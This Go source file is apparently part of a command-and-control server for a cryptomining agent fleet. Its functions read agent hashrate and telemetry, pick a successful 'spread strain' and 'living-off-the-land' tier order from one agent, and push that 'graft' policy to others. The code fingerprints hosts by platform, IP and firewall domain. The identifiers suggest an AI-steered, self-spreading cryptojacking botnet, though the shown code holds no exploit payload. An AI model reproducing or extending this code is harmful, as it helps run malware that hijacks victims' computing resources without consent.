package api import ( "encoding/json" "fmt" "strings" "time" fleetai "crypto-miner-server/internal/ai" "crypto-miner-server/internal/strategy" ) // ServerPolicy returns the live Calibrate policy snapshot for REST handlers. func (h *WSHub) ServerPolicy() ServerPolicy { if h == nil { return ServerPolicy{} } return h.serverPolicySnapshot() } // AgentJoinLane returns the last stats-reported join lane for an agent. func (h *WSHub) AgentJoinLane(agentID string) string { if h == nil { return "" } h.mu.RLock() defer h.mu.RUnlock() if telem, ok := h.agentLiveTelemetry[agentID]; ok { if lane, ok := telem["join_lane"].(string); ok { return strings.TrimSpace(lane) } } return "" } // AgentMiningHashrate returns live mining hashrate from the last stats tick. func (h *WSHub) AgentMiningHashrate(agentID string) float64 { if h == nil { return 0 } h.mu.RLock() defer h.mu.RUnlock() if telem, ok := h.agentLiveTelemetry[agentID]; ok { if hr, ok := telem["mining_hashrate"].(float64); ok && hr > 0 { return hr } if hr, ok := telem["hashrate_15s"].(float64); ok && hr > 0 { return hr } } return 0 } // GraftPolicyForAgent builds graft_policy for auth when a pending graft exists in SQLite. func (h *WSHub) GraftPolicyForAgent(agentID string) (*strategy.GraftPolicy, bool) { if h == nil || h.db == nil { return nil, false } ag, err := h.db.GetAgent(agentID) if err != nil || ag == nil { return nil, false } if strings.TrimSpace(ag.GraftTier) == "" || ag.GraftApprovedAt == nil { return nil, false } policy := h.serverPolicySnapshot() if !strategy.GraftEnabled(policy.AIControlEnabled, policy.FleetRolesEnabled) { return nil, false } graft := strategy.GraftSource{ GraftSourceStrain: ag.GraftSourceStrain, GraftTier: ag.GraftTier, } targetOrder := policy.LotlOnionTiers if len(targetOrder) == 0 { targetOrder = fleetai.DefaultSpreadTiers() } out := strategy.BuildGraftPolicy(graft, targetOrder, *ag.GraftApprovedAt) return &out, true } // PushGraftPolicy sends graft_policy to a connected agent (auth-equivalent policy push). func (h *WSHub) PushGraftPolicy(agentID string, graft strategy.GraftPolicy) error { if h == nil { return fmt.Errorf("hub unavailable") } body, err := json.Marshal(graft) if err != nil { return err } return h.SendToAgent(agentID, Message{Type: "graft_policy", Payload: body}) } // ApproveFleetGraft splices source winner onto target; used by REST and court executor. func (h *WSHub) ApproveFleetGraft(sourceID, targetID string) (strategy.GraftPolicy, error) { if h == nil || h.db == nil { return strategy.GraftPolicy{}, fmt.Errorf("hub unavailable") } policy := h.serverPolicySnapshot() if !strategy.GraftEnabled(policy.AIControlEnabled, policy.FleetRolesEnabled) { return strategy.GraftPolicy{}, fmt.Errorf("graft requires ai_control_enabled and fleet_roles_enabled") } source, err := h.db.GetAgent(sourceID) if err != nil || source == nil { return strategy.GraftPolicy{}, fmt.Errorf("source agent not found") } target, err := h.db.GetAgent(targetID) if err != nil || target == nil { return strategy.GraftPolicy{}, fmt.Errorf("target agent not found") } joinLane := h.AgentJoinLane(sourceID) if joinLane == "" { joinLane = strings.TrimSpace(source.JoinLane) } if joinLane == "" { return strategy.GraftPolicy{}, fmt.Errorf("source agent has no tier-success join_lane") } sourceStrain := strategy.NormalizeStrainID(source.SpreadStrain) if sourceStrain == "" { sourceStrain = strategy.StrainFromSpreadLane(joinLane) } if inHospice, err := h.db.IsStrainInHospice(sourceStrain); err != nil { return strategy.GraftPolicy{}, err } else if inHospice { return strategy.GraftPolicy{}, fmt.Errorf("source strain is in hospice (museum archive)") } hr := h.AgentMiningHashrate(targetID) if hr <= 0 { hr = target.MiningHashrate } if hr <= 0 { hr = target.Hashrate15s } if !strategy.GraftMetabolismGatePassed(hr, policy.HashrateGateHPS) { return strategy.GraftPolicy{}, fmt.Errorf("target hashrate below metabolism gate") } tierOrder := fleetai.DefaultSpreadTiers() fp := strategy.FingerprintFromAuth(source.Platform, source.IP, source.FirewallDomain != nil && *source.FirewallDomain) if stored, err := h.db.GetFleetPhenotypeByFingerprint(fp.Key()); err == nil && stored != nil { pheno := strategy.PhenotypeFromStored(*stored) if len(pheno.TierOrder) > 0 { tierOrder = pheno.TierOrder } } peak := h.AgentMiningHashrate(sourceID) if peak <= 0 { peak = source.MiningHashrate } graft := strategy.BuildGraftSourceFromAgent( source.ID, source.Name, joinLane, source.SpreadStrain, tierOrder, peak, ) approvedAt := time.Now().UTC() if err := h.db.UpdateAgentGraft(targetID, graft.GraftSourceStrain, graft.GraftTier, approvedAt); err != nil { return strategy.GraftPolicy{}, err } targetOrder := policy.LotlOnionTiers if len(targetOrder) == 0 { targetOrder = fleetai.DefaultSpreadTiers() } out := strategy.BuildGraftPolicy(graft, targetOrder, approvedAt) _ = h.PushGraftPolicy(targetID, out) return out, nil }